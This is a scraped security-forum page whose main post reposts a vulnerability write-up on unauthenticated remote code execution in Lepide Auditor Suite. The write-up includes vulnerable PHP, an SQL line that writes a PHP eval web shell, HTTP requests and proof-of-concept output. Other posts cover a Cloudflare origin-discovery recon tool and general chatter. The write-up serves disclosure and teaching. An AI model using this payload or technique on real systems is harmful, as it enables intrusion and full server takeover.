function login($ip, $port, $username,$password) { $sock=connect ($ip,$port); if($sock) { $data= 601; //authenticate login if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$username)) { if(sendstringtoserver($sock,$password)) { $recv= getstringfromserver($sock); if ($recv =='_SUCCESS_') { return $sock; /* $_SESSION["username"]=$username; $_SESSION["ip"]=$servername; header("location: data.php" ); exit(); */ } else{ disconnect($sock); destroysession(); //return false; } } } } } } The difference this time, is that it doesn’t set any session variables, but simply returns the socket handle. Returning back to genratereports.php, after the login returns and validates the socket handle, some tags and strings are sent to the controlled server and then a column name is sent from the server. That column name is validated, and then finally, on line 34, we see a call to getfilefromremote(). That function looked scary interesting to us, so we decided it merited further investigation. The getfilefromremote() function is also defined in config.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function getfilefromremote($sock) { $uniqid=uniqid(); $tag=readtag($sock); if($tag[1]==5) { $msg=""; $buf=socket_read ($sock, 4); $rec_Data= unpack("N",$buf); if($rec_Data[1]>0)//size { if($rec_Data[1]0) { $data= socket_read($sock, $size); $size=$size-strlen($data); $data_rec.=$data; } } catch (Exception $e) { echo 'Caught exception: ', $e->getMessage(), "\n"; } $data = iconv('UTF-16LE','UTF-8',$data_rec); $fp = fopen("temp/".$uniqid.".sql","wb"); fwrite($fp,$data); fclose($fp); $ack=2; if(socket_send ( $sock , pack('N*',$ack), strlen(pack('N*',$ack)) , 0)) { if($rec_ack=readtag($sock)) { if($rec_ack[1]==2) { //socket_close($sock); return $uniqid; } } } } The function reads data from our controlled server and copies it to a temporary file that is created using uniqid() on lines 22 and 23. Finally, the code returns the uniqid that was created. Going back to genratereports.php, we can see the $restore_file variable is mapped to the same path as the file that was created in getfilefromremote(). That variable is then passed to the createdb() function. Let’s investigate createdb() within, once again, config.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function createdb($dbfile,$Dusername,$sessionnumber) { $dbcreate= false; ini_set('max_execution_time', 300); //300 seconds = 5 minutes $server_name= "localhost"; $username= "root"; $password= ""; $dbname= substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12); $dbname= $dbname.$sessionnumber; $link = mysql_connect($server_name, $username, $password); if ($link) { $user=substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12); //$user=$user.sessionno $host="localhost"; $pass= "123456"; $userQ= "DROP USER ".$user."@localhost"; $createQ = "CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'"; $grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON *.* TO '{$user}'@'{$host}' WITH GRANT OPTION"; mysql_query($userQ); if(mysql_query($createQ)){ if(mysql_query($grantQ)){ $dropdbQ ='DROP DATABASE IF EXISTS '.$dbname; mysql_query($dropdbQ, $link); $sql = 'CREATE DATABASE IF NOT EXISTS '.$dbname; mysql_query($sql, $link); $cmd = "mysql -h {$host} -u {$user} -p{$pass} {$dbname} < $dbfile"; exec($cmd,$output,$return); The createdb function attempts to create a new root database user account and uses the supplied $restore_file variable into a command that is passed to exec() on lines 30 and 31. On the surface, it appears that this is a command execution vulnerability, however, since we do not fully or partially control the filename directly (just the contents), we cannot execute commands. However, the astute reader has probably put it all together–we can control input passed to the MySQL client as the database user root using attacker-controlled SQL. At this point, we can do something like the following: 1 2 # exploit! if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"): Exploitation This was simple enough. All we had to do was create a socket server that interacted with the target and supplied what it needed, when it needed it. In one window, we setup the malicious server: root@kali:~# ./server-poc.py Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution by mr_me 2016 (+) waiting for the target... We then used a client to send the first login request, then a second request to the getratereport.php file: root@kali:~# ./client-poc.py 172.16.175.137 172.16.175.1 (+) sending auth bypass (+) sending code execution request The first request just performs the login against our attacker-controlled server: POST /index.php HTTP/1.1 Host: 172.16.175.137:7778 Content-Type: application/x-www-form-urlencoded Content-Length: 61 servername=172.16.175.1&username=test&password=hacked&submit= We get a response that contains an authenticated PHPSESSID. We must take care to not follow the redirect, or our PHPSESSID will be destroyed (code omitted): HTTP/1.1 302 Found Date: Sun, 22 May 2016 19:00:20 GMT Server: Apache/2.4.12 (Win32) PHP/5.4.10 X-Powered-By: PHP/5.4.10 Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache location: reports Content-Length: 8 Content-Type: text/html The second request triggers the exec() call using our newly-authenticated PHPSESSID: GET /genratereports.php?path=lol&daterange=1@9&id=6 HTTP/1.1 Host: 172.16.175.137:7778 Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3 Finally, all the pieces come together… root@kali:~# ./server-poc.py Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution by mr_me 2016 (+) waiting for the target... (+) connected by ('172.16.175.137', 50541) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) connected by ('172.16.175.137', 50542) (+) got a login request (+) got a username: test (+) got a password: hacked (+) sending SUCCESS packet (+) send string successful (+) got a column request (+) got http request id: 6 (+) got http request path: lol (+) send string successful (+) got a filename request (+) got http request daterange: 1@9 - 23:59:59 (+) got http request id: 6 (+) got http request path: lol (+) successfully sent tag (+) successfully sent file! (+) file sent successfully (+) done: http://172.16.175.137:7778/offsec.php?e=phpinfo(); That’s unauthenticated remote code execution as NT AUTHORITY/SYSTEM. It’s also interesting to note that Lepide uses an old version of PHP! Conclusion Currently, a great deal of focus is applied to input validation vulnerabilities such as an SQL injection or PHP code injection but the complete security model of this application is destroyed when trusting the client to supply the authentication server. Disastrous logic vulnerabilities such as these can be avoided if the trust chain is validated before deployment. This is a vulnerability that would have never been found via the blackbox approach. Last year during our Advanced Web Attacks and Exploitation (AWAE) course at Black Hat, we guided the students focus away from the ‘traditional’ black-box web application penetration test to a more involved white-box / grey-box research approach. The threat landscape is changing and skilled web application bug hunters are everywhere due to the explosion of the service-oriented bug bounties provided by companies large and small. On the other hand, product-oriented bug bounties require auditors to understand application logic and code even more so than a service-oriented bounty hunter. In order for security analysts to progress, they will need to have the ability to audit source code at a detailed level in the on-going quest to discover zero-day. References: http://www.zerodayinitiative.com/advisories/ZDI-17-440/ Sursa: https://www.offensive-security.com/vulndev/auditing-the-auditor/
    1 point
  13. da dar sa zici ca mai bine iei 17.000 mii de nobi decat 1000 de oameni cu experienta este putin depasita afirmatia ta eu am in echipa juniori si am vazut diferenta dintr un senior si un junior exemplu pe care l-am mai scris aici este un newsletter simplu care pentru un junior i-a luat 5 zile iar unui senior 6 ore ( cel senior a folosit cateva tool-uri open source ) just saying sunt avantaje si dezavataje ...
    1 point
  14. Mari, Foarte Mari!!
    1 point
  15. CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by CloudFlare in the hopes of discovering the location of the server. Using Tor to mask all requests, the tool as of right now has 3 different attack phases. Misconfigured DNS scan using DNSDumpster.com. Scan the Crimeflare.com database. Bruteforce scan over 2500 subdomains. Please feel free to contribute to this project. If you have an idea or improvement issue a pull request! Disclaimer This tool is a PoC (Proof of Concept) and does not guarantee results. It is possible to setup CloudFlare properly so that the IP is never released or logged anywhere; this is not often the case and hence why this tool exists. This tool is only for academic purposes and testing under controlled environments. Do not use without obtaining proper authorization from the network owner of the network under testing. The author bears no responsibility for any misuse of the tool. Usage To run a scan against a target: python cloudfail.py --target seo.com To run a scan against a target using Tor: service tor start (or if you are using Windows or Mac install vidalia or just run the Tor browser) python cloudfail.py --target seo.com --tor Dependencies Python3 argparse colorama socket binascii datetime requests Download:https://github.com/m0rtem/CloudFail
    1 point
  16. Nullege is a search engine for Python source code. It helps you find working samples for Python libraries from production-quality open source projects. Unlike generic search engines, Nullege really understands Python and knows class InspectionFrame(wx.Frame): def SaveSettings(self, config): w, h = self.GetSize() is a sample for wx.Frame.GetSize(). It also tries to bring you more information in the first search result page, so you can find the right example with fewer clicks. Nullege is growing every day. If you can't find a sample for a library, or have ideas or feature requests, or just want to let us know that Nullege is useful (or not), please send us a mail, or click the 'feedback' button on the right. http://nullege.com https://ibb.co/kuuKna
    1 point
  17. Have you tried here https://gloryholefoundation.com ?
    0 points
  18. Salut , ma numesc Razvan , online voi fii Razwy.Inca de mic am fost pasionat de doua lucruri IT si fotbal pana acum nu faceam prea multe lucruri pe PC doar chestii clasice pentru un incepator in IT nu am habar de prea multe denumiri dar am intrat pe acest forum cu scopul de a invata cat mai multe pentru ca vreau sa-mi dezvolt cunostintele IT. Pentru prietenii de la bloc sunt avansat in IT pentru voi cei de aici cu siguranta un incepator. Inca de mic am fost pasionat de hacking dar singurul lucru legat de asta era sa ma joc cu keyloggere , hack-uri pe toate jocurile si diferite chestii banale. Pe aceasta comunitate vreau sa invat cat mai multe. Detin un ASUS R510V 8GB RAM , i7 etc. De azi sper sa fiu activ pe aici si sa ne intelegem cat mai bine ! P.S. : Am 17 ani si sunt din Ramnicu Valcea cred ca ati auzit cate ceva despre acest oras.
    -4 points
×
×
  • Create New...